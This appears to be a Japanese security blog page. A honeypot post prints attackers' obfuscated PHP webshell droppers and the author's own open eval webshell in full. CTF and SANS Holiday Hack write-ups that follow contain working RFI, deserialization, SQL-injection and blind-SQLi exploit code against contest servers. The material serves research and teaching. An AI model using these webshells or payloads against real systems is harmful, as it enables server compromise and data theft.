WebShell型ハニーポットを設置してWebShellに対するスキャンを観察した
久しぶりにハニーポットのネタです。
タイトルが全てですが「最近、WebShell設置の調査に対するスキャン多すぎない?」と思ったのが発端。
WebShell設置の調査に対するスキャンとは、適当なファイル名のphpファイルに対して、HTTPリクエストボディにdie(@md5(J4nur4ry));
とかセットされているリクエストです。
こういうときに「なら、本当にWebShellがあったら、お前ら(攻撃者)どうするつもりなの?」と思うのは自然な発想ですね。
ということで、投入されたデータを実行するWebShellを作成して観察をしました。
環境
AWSのEC2のインスタンスを立てて、その上にDockerコンテナを立てました。
なお、現在、高対話型ハニーポット基盤を構築しており、そちらに構築したDockerコンテナの一つです。
運用が安定してインストール手順がまとまったらgithubで公開予定です。
動かすPHPコードはこちらです。
<?php foreach($_REQUEST as $v){ try{ eval($v.";"); }catch(Throwable $e){ } }
はい、見る人が見たら卒倒・激怒りするようなコードですね。
どんなパラメータ名だろうがeval
関数で実行して返します。
$_REQUEST
変数を使用しているため、GETリクエストにもPOSTリクエストにも対応しています。
また、Webサーバの設定で、拡張子phpへのリクエストは全てこのコードに流れるようルーティングします。
system
関数でなくeval
関数を実行するようにしたのは、冒頭に記載したdie(@md5(J4nur4ry));
に対応するためです。
die(@md5(J4nur4ry));
をeval関数で実行すると、4df5791c3e09e5c7faa7b3ce35d9cd4b
のハッシュ値を返却します。攻撃者は、レスポンスにこのハッシュ値が含まれているかどうかで、WebShellが設置されているか判断しているのでしょう。
観測結果
WebShell設置スキャンの件数推移
まず、WebShell設置に対するスキャン行為が、どれほどの件数があるか集計しました。
HTTPリクエストボディにdie(@md5(J4nur4ry));
を含むPOSTリクエストを条件に集計しています。
年月日 | 件数 | IPアドレス |
---|---|---|
20190111 | 185 | 200.61.XXX.XXX |
20190111 | 185 | 58.129.XXX.XXX |
20190113 | 185 | 139.199.XXX.XXX |
20190113 | 123 | 171.244.XXX.XXX |
20190114 | 185 | 150.109.XXX.XXX |
20190114 | 190 | 181.115.XXX.XXX |
20190116 | 190 | 118.25.XXX.XXX |
20190116 | 190 | 123.207.XXX.XXX |
20190116 | 185 | 132.232.XXX.XXX |
20190116 | 180 | 132.232.XXX.XXX |
20190116 | 190 | 61.19.XXX.XXX |
20190117 | 184 | 118.24.XXX.XXX |
20190118 | 190 | 118.126.XXX.XXX |
20190119 | 191 | 106.12.XXX.XXX |
20190120 | 191 | 132.232.XXX.XXX |
20190120 | 191 | 139.199.XXX.XXX |
20190121 | 191 | 120.31.XXX.XXX |
20190121 | 191 | 154.209.XXX.XXX |
年月日とIPアドレス単位で集計すると、件数が近似していますね。
同じ攻撃者なのか、または同じツールを使用しているのでしょうか。
さて、2019/1/17まではWOWHoneypotを使用して適当なHTMLレスポンスを返却していましたが、
2019/1/18にWebShellの稼働を始めました。
その後、2019/1/19からそれ以前には観測したことのない攻撃データを観測し始めました。
4パターンを観測しましたので順に紹介します。
攻撃パターン1
POSTリクエストです。以下、HTTPリクエストボディの内容です。
m=eval($_POST["h"])& q=eval($_POST["h"])& mx=eval($_POST["h"])& 520=eval($_POST["h"])& cnm=eval($_POST["h"])& 0o0=eval($_POST["h"])& 1=eval($_POST["h"])& 2=eval($_POST["h"])& 4=eval($_POST["h"])& 5=eval($_POST["h"])& -2=eval($_POST["h"])& 111=eval($_POST["h"])& a=eval($_POST["h"])& cmd=eval($_POST["h"])& admin=eval($_POST["h"])& garry=eval($_POST["h"])& guess=eval($_POST["h"])& username=eval($_POST["h"])& h=die(@file_put_contents("images.php", '<?php $func=\'c\'.\'r\'.\'e\'.\'a\'.\'t\'.\'e\'.\'_\'.\'f\'.\'u\'.\'n\'.\'c\'.\'t\'.\'i\'.\'o\'.\'n\'; $test=$func(\'$x\',\'e\'.\'v\'.\'a\'.\'l\'.\'(b\'.\'a\'.\'s\'.\'e\'.\'6\'.\'4\'.\'_\'.\'d\'.\'e\'.\'c\'.\'o\'.\'d\'.\'e($x));\'); $test(\'QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpeyhzdWJzdHIoc2hhMShtZDUoQCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpJiYkX1NFU1NJT05bJ3RoZUNvZGUnXT10cmltKCRfUE9TVFsnY29kZSddKTt9aWYoaXNzZXQoJF9TRVNTSU9OWyd0aGVDb2RlJ10pKXtAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7fQ==\'); ?>',LOCK_EX) ? md5("111niLniW") : "failed");
※適当なところで改行を挟んでいます。
h
パラメータに注目です。
images.php
というファイル名でPHPファイルを作成しようとしています。
少々、難読化されていますが、簡単に説明するとQHNlc3Npb25fc3RhcnQoK~
の文字列をBASE64デコードして実行するコードです。
デコードしてみましょう。
@session_start(); if(isset($_POST['code'])){ (substr(sha1(md5(@$_POST['a'])),36)=='222f')&&$_SESSION['theCode']=trim($_POST['code']); } if(isset($_SESSION['theCode'])){ @eval(base64_decode($_SESSION['theCode'])); }
なんと、新たなWebShellの設置リクエストでした。
code
パラメータで受けたコードをeval
関数で実行する処理です。
既に用意したWebShellでも任意のコードが実行可能であるにも関わらず、自分で設置しようとしています。
また、aパラメータによる簡単な認証処理も実行しています。
他者に使われないようにしているのでしょうか。自分は、他者が設置したWebShellを利用しているというのに!
この攻撃の件数推移は以下の通りです。
年月日 | 件数 | IPアドレス |
---|---|---|
20190119 | 5 | 111.230.XXX.XXX |
20190119 | 3 | 111.231.XXX.XXX |
20190119 | 3 | 117.79.XXX.XXX |
20190119 | 3 | 118.89.XXX.XXX |
20190119 | 8 | 154.8.XXX.XXX |
20190119 | 6 | 180.76.XXX.XXX |
20190119 | 2 | 193.112.XXX.XXX |
攻撃パターン2
POSTリクエストです。以下、HTTPリクエストボディの内容です。
--------------------------xxxxxxxxxxxxxxxx Content-Disposition: form-data; name="submit" --------------------------xxxxxxxxxxxxxxxx Content-Disposition: form-data; name="newname" --------------------------xxxxxxxxxxxxxxxx Content-Disposition: form-data; name="_upl" Upload --------------------------xxxxxxxxxxxxxxxx Content-Disposition: form-data; name="sendfile" true --------------------------xxxxxxxxxxxxxxxx Content-Disposition: form-data; name="h" if (copy($_FILES[file][tmp_name],$_FILES[file][name])) die(md5(UploadDone)); --------------------------xxxxxxxxxxxxxxxx (snip) --------------------------xxxxxxxxxxxxxxxx Content-Disposition: form-data; name="z"; filename="E:\\PHPnow\\htdocs\\images.php" Content-Type: application/octet-stream <?php /*1*/$CF/*2*/='c'./*3*/"".'r'./*exit;*/"".'e'./*5*/"".'a'./*6*/"".'t'./*7*/"".'e'./*8*/"".'_'./*9*/"".'f'./*0*/"".'u'./*echo*/"".'n'./*9*/"".'c'./*8*/"".'t'./*7*/"".'i'./*6*/"".'o'./*5*/"".'n';$EB/*die();*/=@$CF/*3*/('','e'.""./*2*/'v'.""./*1*/'a'.""./*0*/'l'.""./*1*/'(b'.""./*2*/'a'.""./*3*/'s'.""./*sleep(1);*/'e'.""./*5*/'6'.""./*6*/'4'.""./*7*/'_'.""./*8*/'d'.""./*9*/'e'.""./*0*/'c'.""./*1*/'o'.""./*2*/'d'.""./*3*/'e'.""./*echo*/'("QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicmJiRfU0VTU0lPTlsndGhlQ29kZSddPSRfUE9TVFsnY29kZSddO2lmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSlAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7"));');$EB/*exit;*/();/*die("FWA");*/ ?> --------------------------xxxxxxxxxxxxxxxx (snip)
multipartのリクエストです。ファイルアップロードしようとしているようです。
コメントアウトを随所に挟むことで難読化していますが、部分部分に注目すると攻撃パターン1と似ています。
BASE64デコードすると以下の通りです。
攻撃パターン1と比べると、{}
が無い程度の違いのみで、同じ処理です。
@session_start(); if(isset($_POST['code']))substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code']; if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));
つまり、こちらもWebShellの設置リクエストでした。
この攻撃の件数推移は以下の通りです。攻撃パターン1と同じIPアドレスでした。
年月日 | 件数 | IPアドレス |
---|---|---|
20190119 | 28 | 111.230.XXX.XXX |
20190119 | 29 | 111.231.XXX.XXX |
20190119 | 22 | 117.79.XXX.XXX |
20190119 | 22 | 118.89.XXX.XXX |
20190119 | 23 | 154.8.XXX.XXX |
20190119 | 21 | 180.76.XXX.XXX |
20190119 | 22 | 193.112.XXX.XXX |
攻撃パターン3
GETリクエストです。以下、クエリパラメータです。
cmd=echo "<?php \$func='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';\$test=\$func('\$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e(\$x));');\$test('QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpeyhzdWJzdHIoc2hhMShtZDUoQCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpJiYkX1NFU1NJT05bJ3RoZUNvZGUnXT10cmltKCRfUE9TVFsnY29kZSddKTt9aWYoaXNzZXQoJF9TRVNTSU9OWyd0aGVDb2RlJ10pKXtAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7fQ=='); ?>" >images.php & echo Hello, Peppa!
攻撃パターン1とコードが似ています。
BASE64エンコード文字列は、全く同じです。
つまり、こちらもWebShellの設置リクエストでした。
この攻撃の件数推移は以下の通りです。件数は少なめです。
年月日 | 件数 | IPアドレス |
---|---|---|
20190119 | 2 | 111.230.XXX.XXX |
20190119 | 2 | 111.231.XXX.XXX |
攻撃パターン4
攻撃パターン1、2、3ともにimages.php
を設置するリクエストでしたが、当然、images.php
へのリクエストもありました。
a=just+for+fun&code=ZGllKCJIZWxsbywgUGVwcGEhIik7
BASE64デコードすると、die("Hello, Peppa!");
となります。
自分が設置したWebShellが稼働しているか確認するリクエストのようです。
このリクエストに対してHello, Peppa!
と返却すると、いよいよ攻撃者の目的を果たすための攻撃コードが着弾したのでしょうか。
しかし、攻撃パターン1、2および3で設置されたimages.php
へのルーティングはしていないため、失敗に終わりました。残念。
この攻撃の件数推移は以下の通りです。攻撃パターン1および2と同じIPアドレスでした。
年月日 | 件数 | IPアドレス |
---|---|---|
20190119 | 68 | 111.230.XXX.XXX |
20190119 | 62 | 111.231.XXX.XXX |
20190119 | 48 | 117.79.XXX.XXX |
20190119 | 52 | 118.89.XXX.XXX |
20190119 | 62 | 154.8.XXX.XXX |
20190119 | 53 | 180.76.XXX.XXX |
20190119 | 47 | 193.112.XXX.XXX |
まとめ
スキャン行為に対応するWebShellを設置していれば、すぐに本格的な攻撃コードが着弾すると想定していましたが、攻撃者は思いのほか慎重でした。まさかWebShellをもう1つ作成されるとは。
ただ、今回、低対話型ハニーポットでは観測が難しいところまで観測できたのではと感じています。
継続、日々攻撃を観察して、攻撃者が期待するレスポンスを返す環境を構築し提供することで、攻撃者の動きの深追いを続けていきたいと思います。
但し、当然、本当に攻撃を受けているため、環境の頻繁なリストア・戻し処理等、万全な体制で臨む必要があります。
なお、このBlog記事を書いている間も、Tomcat型ハニーポットに興味深いアクセスが来ていたので、後日まとめる予定です。
続きです。
graneed.hatenablog.com
InterKosenCTF Writeup
「高専生でなくとも参加可能」とのことで、高専生による高専生のためのInterKosenCTFに参加。
今回はnoranecoチームではなく、有志のdoranecoチームで参加した。
(PwnとCryptを解くメンバーが不在のため、ほぼ手つかず。)
全てのWeb問題がソースコードが公開されており、guess要素もなく良問揃いだった。
特にImage Uploaderは、試行錯誤でそこそこ苦労したが楽しんで解くことができた。
目次
- [Web 100pts]Gimme Chocolate
- [Web 200pts]Secure Session
- [Web 250pts]Login
- [Web 350pts]Image Uploader
- [Web 50pts]Login Reloaded
[Web 100pts]Gimme Chocolate
問題
view source
リンクからソースコードを確認可能。
Writeup
機能は以下2つ。
- codeを保存する機能。codeはbranf*ck形式。
- 保存したcodeをbranf*ckとして実行し、
Give Me a Chocolate!!
のメッセージが返却されたらフラグを表示する機能。
しかし、code保存機能は100バイトまでしか保存できない。以下ソースコード抜粋。
$fp = fopen($prefix.DIRECTORY_SEPARATOR.$_POST['name'], 'w'); if ($fp === FALSE || fwrite($fp, $_POST['code'], 100) === FALSE) { $errs []= 'Unexpected error. Please contact the admin.'; break; } fclose($fp);
Web上の適当なbrainf*ckの変換サービスを使用してGive Me a Chocolate!!
を変換すると226バイト。
よって、code保存機能を使用しても目的のコードは作成できない。
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>+.>+++++.+++++++++++++.-----------------.<<++.>++++++.>.<<.>>----.<<.>----------.>+++++++.+++++++.------------.++++++++++++.---.-----------.+++++++++++++++++++.---------------.<<+..
あらためてcodeを実行する機能のソースコードを確認すると、GETで得たファイルパスをそのままfile_get_contents
に渡している。Remote File Inclusionができそうだ。
$code = file_get_contents($_GET['file']); if ($code === FALSE) { $errs []= 'Could not open the source file.'; break; } $r = bf($code); if ($r === "Give Me a Chocolate!!") { $msgs []= include(dirname(__DIR__).DIRECTORY_SEPARATOR.'flag.php'); } }
自サーバにgiveme
というファイル名でbrainf*ck変換後コードを配備し、file
パラメータにURLをセットして実行する。
root@kali:~# curl http://web.kosenctf.com:8100/ -G -d "execute&file=http://myserver/giveme" (snip) <div class="ms-alert ms-green">KOSENCTF{CIO_CHOCOLATEx2_CHOx3_IIYONE}</div> (snip)
KOSENCTF{CIO_CHOCOLATEx2_CHOx3_IIYONE}
がフラグ。
[Web 200pts]Secure Session
問題
source code
リンクからソースコードをダウンロード可能。
Writeup
ポイントは以下の箇所。
/* Initialize */ if (isset($_POST['save'])) { // You can skip the bothering setup // by loading the saved handler. $handler = unserialize(base64_decode($_POST['save'])); } else { // Or, you can also setup the handler manually. $SECRET_KEY = 'sample-password'; // Keep it secret! $crypto = new SecureCrypto(); $handler = new SecureSession($SECRET_KEY); $handler->set_crypto('encrypt', array($crypto, 'encrypt')); $handler->set_crypto('decrypt', array($crypto, 'decrypt')); }
外部から、暗号化・復号する関数をシリアライズしたオブジェクト(BASE64文字列)で指定可能。
Insecure Deserialization
で攻める。
まず、暗号化・復号関数にSecureCrypto
クラスのインスタンスのencrypt
関数およびdecrypt
関数をセットする代わりに、system
関数をセットする。
また、暗号化・復号関数の第一引数に$SECRET_KEY
が渡されるため、'sample-password'の代わりに、ls -l
をセットする。
これで、ls -l
が実行されるはずである。
ローカルで試す。
php > require_once(__DIR__ . '/modules/crypto.php'); php > require_once(__DIR__ . '/modules/session.php'); php > $SECRET_KEY = 'ls -l'; php > $crypto = new SecureCrypto(); php > $handler = new SecureSession($SECRET_KEY); php > $handler->set_crypto('encrypt', system); PHP Warning: Use of undefined constant system - assumed 'system' (this will throw an Error in a future version of PHP) in php shell code on line 1 php > $handler->set_crypto('decrypt', system); PHP Warning: Use of undefined constant system - assumed 'system' (this will throw an Error in a future version of PHP) in php shell code on line 1 php > session_set_save_handler($handler, true); php > session_start(); php > print_r($handler->read_raw(session_id())); php > session_write_close(); total 4 -rwxrwxrwx 1 root root 3287 Dec 31 09:51 index.php drwxrwxrwx 1 root root 0 Jan 19 10:29 modules
成功した。この改ざんしたhandlerをBASE64エンコードする。
php > var_dump(base64_encode(serialize($handler))); string(204) "TzoxMzoiU2VjdXJlU2Vzc2lvbiI6Mjp7czoyMToiAFNlY3VyZVNlc3Npb24AY3J5cHRvIjthOjI6e3M6NzoiZW5jcnlwdCI7czo2OiJzeXN0ZW0iO3M6NzoiZGVjcnlwdCI7czo2OiJzeXN0ZW0iO31zOjE4OiIAU2VjdXJlU2Vzc2lvbgBrZXkiO3M6NToibHMgLWwiO30="
サーバに投入してみる。
root@kali:~# curl http://web.kosenctf.com:8200/ -d "save=TzoxMzoiU2VjdXJlU2Vzc2lvbiI6Mjp7czoyMToiAFNlY3VyZVNlc3Npb24AY3J5cHRvIjthOjI6e3M6NzoiZW5jcnlwdCI7czo2OiJzeXN0ZW0iO3M6NzoiZGVjcnlwdCI7czo2OiJzeXN0ZW0iO31zOjE4OiIAU2VjdXJlU2Vzc2lvbgBrZXkiO3M6NToibHMgLWwiO30=" (snip) </div> </div> </body> </html> total 16 -r--r--r-- 1 1000 1000 61 Dec 31 00:53 hOI_the_flag_is_here -r--r--r-- 1 1000 1000 3287 Dec 31 00:53 index.php dr-xr-xr-x 2 1000 1000 4096 Dec 31 00:53 modules -r--r--r-- 1 1000 1000 2294 Dec 31 00:53 ssm.tar.gz
成功した。hOI_the_flag_is_hereというファイルがあるようだ。
root@kali:~# curl http://web.kosenctf.com:8200/hOI_the_flag_is_here KOSENCTF{Th3_p01nt_1s_N0t_h0w_s3cur3_1t_1s_But_h0w_t0_us3_1t}
KOSENCTF{Th3_p01nt_1s_N0t_h0w_s3cur3_1t_1s_But_h0w_t0_us3_1t}
がフラグ。
[Web 250pts]Login
問題
出題サイトからソースコードをダウンロード可能。
Writeup
アカウントの登録とログインができる。
ソースコードを読むと、admin
でログインするとフラグが得られるようだ。
ポイントは、以下のログイン処理。
SQL Injectionの脆弱性あり。
// dont' think to try time based sql injection!! usleep(random_int(0, 5000000)); try { $rows = $pdo->query("select username, password from users where username='$username' and password='$password'", PDO::FETCH_ASSOC)->fetchAll(); if (count($rows) == 1 && md5($rows[0]['password']) === md5($password)) { $_SESSION['login'] = $username; } } catch (Exception $e) { // }
しかし、「入力したpassword文字列」と「DBから取得したpassword文字列」のmd5ハッシュ値の一致確認をしているため、union all select~
のペイロードを作ってもNG。
せっかくアカウント登録機能があるため、事前にpayload文字列でアカウントを作成し、そのレコードをselectして取得して一致させる作戦。
以下の文字列をusernameにセットしてアカウントを作る。passwordは何でもよい。
hogehogehoge' union all select 'admin', username from users where username like 'hogehogehoge%
次に、usernameをadmin
、passwordを上記と同じ文字列をセットしてログインする。
ログイン成功。
KOSENCTF{I_DONT_HAVE_ANY_APTITUDE_FOR_MAKING_A_WEB_CHALLENGE_SORRY}
がフラグ。
[Web 350pts]Image Uploader
問題
出題サイトからソースコードをダウンロード可能。
Writeup
HomeとPostとControlの3画面構成。
右上のControlリンクは非活性だがHTMLソースを読むとリンク先がadmin.html
であることを確認できる。
しかし、admin.html
に飛んでもWAFエラーとなる。おそらくこの画面にフラグがある。
Post画面は、UsernameとDescriptionを入力してJPG画像をアップロードする機能を持つ。
アップロードした画像には自動でTagが付く。TagはJPG画像をBASE85でデコードした文字列をsha256でハッシュ計算した値。
Home画面は、Tag入力による画像検索機能と、画面上には表示されていないが、JPG画像をアップロードして一致するJPG画像を表示する検索機能を持つ。
後者の機能にSQL Injectionの脆弱性あり。以下、ソースコード抜粋。
$binary = file_get_contents($_FILES['image']['tmp_name']); $s_image = base85::encode($binary); // Get the image $row = $pdo->query("SELECT * FROM images WHERE image='{$s_image}'")->fetch(PDO::FETCH_ASSOC);
base85でエンコードしたJPG画像ファイルが、SQL Injectionのpayloadになればよい。
よって、JPG画像にpayload文字列をbase85でデコードした文字列を埋め込めばよい。
JPG画像の判定はMIME Typeによる判定のみ。先頭2バイトが\xFF\xD8
ならOK。
$tmp_name = $_FILES['image']['tmp_name']; $finfo = finfo_open(FILEINFO_MIME_TYPE); $mimetype = finfo_file($finfo, $tmp_name); if ($mimetype != "image/jpeg") { header("Location: /"); exit(); }
BASE85のエンコード/デコードモジュールも配布されているため活用する。
まず、admin.htmlをload_fileで読み込むpayloadを持つ画像を作る。
php > require("base85.class.php"); php > file_put_contents("test.jpg",base85::decode("s4@aa'union(select(100),(load_file(CHAR(47,118,97,114,47,119,119,119,47,104,116,109,108,47,97,100,109,105,110,46,104,116,109,108))),(101),(102))###")); php > echo base85::encode(file_get_contents("test.jpg")); s4@aa'union(select(100),(load_file(CHAR(47,118,97,114,47,119,119,119,47,104,116,109,108,47,97,100,109,105,110,46,104,116,109,108))),(101),(102))#"o
以下に解説。
s4@
をデコードすると、\xFF\xD8
になる。
php > require("base85.class.php"); php > file_put_contents("test.jpg",base85::decode("s4@")); php > $finfo = finfo_open(FILEINFO_MIME_TYPE); php > echo finfo_file($finfo, "test.jpg"); image/jpeg
他、BASE85でデコード→エンコードしたときに、元の文字列に戻らない箇所を以下のとおり工夫している。
s4@
の後ろのaa
は、その後ろの'union
が元の文字列に戻らなかったための措置。- 最後の
#
を3連続にしているのは、1つだけだと#
が消えるまたは変化するための措置。 load_file
の引数にそのままファイルパス文字列を与えず、CHAR関数を介しているのは、ファイルパス文字列に特定の文字が含まれると元に戻らないための措置。例えばv
とか。なお、上記のCHAR(47,118,97,114,...
は、/var/www/html/admin.html
を意味する。- BASE85はスペースが使えないため、全体的にスペースを使用せずに
()
で代替している。
この画像で検索をかける。
root@kali:~/image_uploader# curl http://web.kosenctf.com:8400/ -F "image=@test.jpg" -F search=1 (snip) <h3>Welcome, admin!</h3> <p>The flag is KOSENCTF{&lt;The password to bypass the WAF&gt;}</p> <p>If you haven't get the password yet, try harder and find the password.</p> (snip)
まだクリアでないようだ。WAFモジュールに何かありそうだ。
まずはapacheの設定ファイルである/etc/apache2/apache2.conf
を確認する。
php > file_put_contents("test.jpg",base85::decode("s4@aa'union(select(100),(load_file(CHAR(47,101,116,99,47,97,112,97,99,104,101,50,47,97,112,97,99,104,101,50,46,99,111,110,102))),(101),(102))###"));
root@kali:~/image_uploader# curl http://web.kosenctf.com:8400/ -F "image=@test.jpg" -F search=1 (snip) LoadModule waf_module /usr/lib/apache2/modules/mod_waf.so (snip)
/usr/lib/apache2/modules/mod_waf.so
を確認する。バイナリファイルのため、TO_BASE64
関数でBASE64エンコードする。
file_put_contents("test.jpg",base85::decode("s4@aa'union(select(100),(TO_BASE64(load_file(CHAR(47,117,115,114,47,108,105,98,47,97,112,97,99,104,101,50,47,109,111,100,117,108,101,115,47,109,111,100,95,119,97,102,46,115,111)))),(100),(100))###"));
root@kali:~/image_uploader# curl http://web.kosenctf.com:8400/ -F "image=@test.jpg" -F search=1 (snip) <p>Uploaded by f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkAkAAAAAAABAAAAAAAAAAIAhAAAAAAAAAAAAAEAAOAAH AEAAGwAaAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdA4AAAAAAAB0DgAAAAAAAAAA IAAAAAAAAQAAAAYAAABIHQAAAAAAAEgdIAAAAAAASB0gAAAAAAAgAwAAAAAAACgDAAAAAAAAAAAg AAAAAAACAAAABgAAAGgdAAAAAAAAaB0gAAAAAABoHSAAAAAAAPABAAAAAAAA8AEAAAAAAAAIAAAA AAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAA AAAAUOV0ZAQAAACoDQAAAAAAAKgNAAAAAAAAqA0AAAAAAAAkAAAAAAAAACQAAAAAAAAABAAAAAAA AABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAA AFL (snip)
BASE64文字列の箇所を抜き出してファイルを作成、BASE64デコードして元のmod_waf.so
ファイルを復元、stringsコマンドで有用なデータを探す。
root@kali:~/image_uploader# cat mod_waf.so.base64 | head f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkAkAAAAAAABAAAAAAAAAAIAhAAAAAAAAAAAAAEAAOAAH AEAAGwAaAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdA4AAAAAAAB0DgAAAAAAAAAA IAAAAAAAAQAAAAYAAABIHQAAAAAAAEgdIAAAAAAASB0gAAAAAAAgAwAAAAAAACgDAAAAAAAAAAAg AAAAAAACAAAABgAAAGgdAAAAAAAAaB0gAAAAAABoHSAAAAAAAPABAAAAAAAA8AEAAAAAAAAIAAAA AAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAA AAAAUOV0ZAQAAACoDQAAAAAAAKgNAAAAAAAAqA0AAAAAAAAkAAAAAAAAACQAAAAAAAAABAAAAAAA AABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAA AFLldGQEAAAASB0AAAAAAABIHSAAAAAAAEgdIAAAAAAAuAIAAAAAAAC4AgAAAAAAAAEAAAAAAAAA BAAAABQAAAADAAAAR05VAL4tUliBbi56OIgdMmfBZEF6qiCmAAAAAAMAAAATAAAAAQAAAAYAAACI wCAFAAVACRMAAAAWAAAAGAAAAEJF1eyoRinzu+OSfNhxWBy5jfEO69PvDgAAAAAAAAAAAAAAAAAA root@kali:~/image_uploader# base64 -d mod_waf.so.base64 > mod_waf.so root@kali:~/image_uploader# strings mod_waf.so (snip) `[]A\A]A^ admin password /var/www/secret-pwd-file <!-- mod_waf v0.1 --> (snip)
/var/www/secret-pwd-file
が怪しい。
同じ方法でファイルを取得する。
php > file_put_contents("test.jpg",base85::decode("s4@aa'union(select(100),(load_file(CHAR(47,118,97,114,47,119,119,119,47,115,101,99,114,101,116,45,112,119,100,45,102,105,108,101))),(100),(100))###"));
root@kali:~/image_uploader# curl http://web.kosenctf.com:8400/ -F "image=@test.jpg" -F search=1 <p>Uploaded by awkward_SQLi_2_bypass_WAF_module</p>
KOSENCTF{awkward_SQLi_2_bypass_WAF_module}
がフラグ。
[Web 50pts]Login Reloaded
残念ながら解けなかった。
Blind SQL Injectionでパスワードを1文字ずつ特定するプログラムを作って流し、待ち時間にウッキウキで家事やら子どもの相手をしていた。
128文字のパスワードが得られたのを見てから、以下のコードの意図に気付き白目になった。
if (isset($_POST['name']) && isset($_POST['password']) && strlen($_POST['name']) < 128 && strlen($_POST['password']) < 128) {
※追記 Blind SQL Injectionのコードは以下の通り。
import requests import string URL = 'http://web.kosenctf.com:8500/login.php' LETTERS = string.digits + 'abcdef' target = "" while True: flag = False for e in LETTERS: tmp = target + e req = requests.Request( 'POST', URL, data={ "name" : "' union all select 'a',CASE WHEN SUBSTR((select password from users where username='admin'),{},1)='{}' THEN 'a' ELSE 'b' END --".format(len(tmp),e), "password" : "a" }, ) prepared = req.prepare() s = requests.Session() r = s.send(prepared, allow_redirects = True) if "HELLO" in r.text: target = tmp print(target) flag = True break if flag: continue exit()
実行して待つと以下のパスワードが得られる。
9072864df2f0c01ff241ac5771a90f64f10247fb3544a18fc5675bfee225fee853d4a099b7fb23e8b08079b490b80f16a0a18e86589694ebc6907d5dfe70cf6b
The 2018 SANS Holiday Hack Challenge Writeup
新年の初投稿が遅くなりましたが、あけましておめでとうございます。
12/28-12/30開催の35C3 CTFから1/19-1/20開催のInsomni'hack teaser 2019の間、CTFイベントはオフシーズンでした。
ちょうどこの期間に、SANS社がHoliday Hack Challengeを開催しており、私も参加&全完しましたのでwriteupを書きます。
- 概要
- 1) Orientation Challenge
- 2) Directory Browsing
- 3) de Bruijn Sequences
- 4) Data Repo Analysis
- 5) AD Privilege Discovery
- 6) Badge Manipulation
- 7) HR Incident Response
- 8) Network Traffic Forensics
- 9) Ransomware Recovery
- 10) Who Is Behind It All?
- 所感
- おまけ
概要
サンタ城を歩きながら、ペンテスト、フォレンジック、マルウェア解析、ネットワーク解析などのスキルを駆使して、各種チャレンジを解いていく。
以下、城門の前のスクリーンショット。開催直後は門の前に大量の人がいたが、1/14現在はガラガラ。
メインの問題数は全14問と、解くとメインの問題のヒントがもらえるサブの問題が9問。 サブの問題の説明は割愛。
なお、英語でwriteupを書いてエントリーすると、審査または抽選で賞品がもらえたようだ。
残念ながら当BlogはJapanese Only(#インターネット老人会 hashtag on Twitter
)のため、報告不可。
1) Orientation Challenge
過去のHoliday Hack Challengeのストーリーに関する4択問題×6問。
私は今年が初挑戦であるため、問題が何を言ってるかさっぱりわからずGoogle検索してWriteupを読み、答えを調べた。
なお、答えを4問特定してから、残り2問は4×4=16回の総当たりという横着をした。
2) Directory Browsing
https://cfp.kringlecastle.com/ から、Data Loss for Rainbow Teams
というタイトルでCall for papersに応募してリジェクトされた人の名前を特定しろという問題。問題名から、ディレクトリリスティングを使うことが明らか。
https://cfp.kringlecastle.com/cfp/ にアクセスすると、rejected-talks.csv
を発見。
John McClane
が答え。
3) de Bruijn Sequences
4種類の記号を4回選択して、当てるとドアが開く。
256回の総当たりをすれば当たるので、スクリプト書いて実行。
import requests import itertools s = requests.Session() for i in itertools.product({'0','1','2','3'}, repeat=4): req = requests.Request( 'GET', "https://doorpasscoden.kringlecastle.com/checkpass.php", params={ "i":"".join(i), "resourceId":"1" } ) prepared = req.prepare() r = s.send(prepared, allow_redirects = False) print(i) if len(r.text) != 46: print(r.text) exit(0)
実行する。
('3', '3', '3', '3') ('3', '3', '3', '2') ('3', '3', '3', '0') (snip) ('0', '1', '2', '3') ('0', '1', '2', '2') ('0', '1', '2', '0') {"success":true,"resourceId":"1","hash":"1c49ebfdb891f43cafef54856a775f6cbc0497b462af5452a17af1798e1d8433","message":"Correct guess!"}
4) Data Repo Analysis
https://git.kringlecastle.com/Upatree/santas_castle_automation から、passwordを取得する問題。
gitのリポジトリのcommitの履歴を辿れば、どこかにあると予想。
以下のコマンドで、各commit間のdiffを全量出力して眺める。
$ git log | grep -e "commit [0-9a-f]\{40\}" | sed 's/commit //' > commit.txt $ for i in `cat commit.txt`; do echo "----------------$i----------------">>diff.txt ; git diff ${i}^..${i} >> diff.txt; done
passwordを発見。
